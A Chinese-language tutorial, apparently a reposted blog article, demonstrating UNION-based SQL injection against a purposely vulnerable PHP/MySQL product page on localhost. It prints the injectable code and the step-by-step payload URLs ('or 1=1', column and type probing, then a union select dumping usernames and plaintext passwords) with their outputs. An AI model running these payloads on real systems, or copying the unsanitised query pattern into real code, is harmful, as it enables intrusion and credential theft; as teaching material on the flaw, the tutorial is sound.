一個PHP的SQL注入完整過程


本篇文章介紹的內容是一個PHP的SQL注入完整過程,現在分享給大家,有需要的朋友可以參考一下

希望幫助到大家,很多PHPer在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那里入手去提升,對此我整理了一些資料,包括但不限於:分布式架構、高可擴展、高性能、高並發、服務器性能調優、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家,需要的可以加入我的官方群點擊此處

學了SQL注入的一些技能后,以下正對PHP+MYSQL進行SQL注入的簡單實踐

首先觀察兩個MYSQL數據表

用戶記錄表:

REATE TABLE `php_user` (

`id` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default '',

`password` varchar(20) NOT NULL default '',

`userlevel` char(2) NOT NULL default '0',

PRIMARY KEY (`id`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');

INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');

產品記錄列表:

CREATE TABLE `php_product` (

`id` int(11) NOT NULL auto_increment,

`name` varchar(100) NOT NULL default '',

`price` float NOT NULL default '0',

`img` varchar(200) NOT NULL default '',

PRIMARY KEY (`id`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');

INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');

 

以下文件是show_product.php用於顯示產品列表。SQL注入也是利用此文件的SQL語句漏洞

<?php

$conn = mysql_connect("localhost", "root", "root");

if(!$conn){

echo "數據庫聯接錯誤";

exit;

}

if (!mysql_select_db("phpsql")) {

echo "選擇數據庫出錯" . mysql_error();

exit;

}

$tempID=$_GET['id'];

if($tempID<=0 || !isset($tempID)) $tempID=1;

$sql = "SELECT * FROM php_product WHERE id =$tempID";

echo $sql.'<br>';

$result = mysql_query($sql);

if (!$result) {

echo "查詢出錯" . mysql_error();

exit;

}

if (mysql_num_rows($result) == 0) {

echo "沒有查詢結果";

exit;

}

while ($row = mysql_fetch_assoc($result)) {

echo 'ID:'.$row["id"].'<br>';

echo 'name:'.$row["name"].'<br>';

echo 'price:'.$row["price"].'<br>';

echo 'image:'.$row["img"].'<br>';

}

?>

觀察此語句:$sql = "SELECT * FROM php_product WHERE id =$tempID";

$tempID是從$_GET得到。我們可以構造這個變量的值,從而達到SQL注入的目的

分別構造以下鏈接:

1、 http://localhost/phpsql/index.php?id=1

得到以下輸出

SELECT * FROM php_product WHERE id =1 //當前執行的SQL語句

//得到ID為1的產品資料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

2、 http://localhost/phpsql/index.php?id=1 or 1=1

得到輸出

SELECT * FROM php_product WHERE id =1 or 1=1 //當前執行的SQL語句

//一共兩條產品資料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:2

name:name_2

price:35.25

image:images/name_2.jpg

1和2都得到資料列表輸出,證明SQL語句執行成功

3、判斷數據表字段數量

http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

得到輸出

SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //當前執行的SQL語句

//一共兩條記錄,注意第二條的記錄為全1,這是union select聯合查詢的結果。

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:1

name:1

price:1

image:1

4、判斷數據表字段類型

http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

得到輸出

SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:0

name:A

price:0

image:A

注意第二條記錄,如果后面的值等於A,說明這個字段與union查詢后面構造的字段類型相符。此時union后面

為char(65),表示字符串類型。經過觀察。可以發現name字段和image字段的類型都是字符串類型

5、大功告成,得到我們想要的東西:

http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

得到輸出:

SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

//輸出了兩條用戶資料,name為用戶名稱,image為用戶密碼。

ID:1

name:seven

price:1

image:seven_pwd

ID:1

name:swons

price:1

image:swons_pwd

注意URL中的ID=10000是為了不得到產品資料,只得到后面union的查詢結果。更具實際情況ID的值有所不同

union的username和password必須放在2和4的位置上。這樣才能和前面的select語句匹配。這是union查詢

語句的特點

備注:

這個簡單的注入方法是更具特定環境的。實際中比這復雜。但是原理是相同的。

以上內容希望幫助到大家,很多PHPer在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那里入手去提升,對此我整理了一些資料,包括但不限於:分布式架構、高可擴展、高性能、高並發、服務器性能調優、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家,需要的可以加入我的官方群點擊此處


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM